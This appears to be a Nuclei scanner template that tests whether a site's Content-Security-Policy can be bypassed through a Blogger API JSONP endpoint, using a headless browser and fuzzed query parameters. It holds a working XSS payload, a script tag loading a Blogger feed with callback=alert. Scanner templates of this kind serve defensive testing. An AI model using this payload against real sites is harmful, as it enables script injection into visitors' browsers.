id: blogger-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Blogger API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,blogger-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "blogger.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: blogger_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.blogger.com/feeds/8063678697117239807/posts/default?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "blogger_api_csp_xss == true"
# digest: 4b0a00483046022100dc19fb09e5dced27715b35a3ad1dffa1e10b6a0ee596d5521ccf8290018ba874022100d56bb0952060d255ef1d9a1aef12e9823f17e2a6b28efc94e6f4420c26b371b8:922c64590222798bb761d5b6d8e72950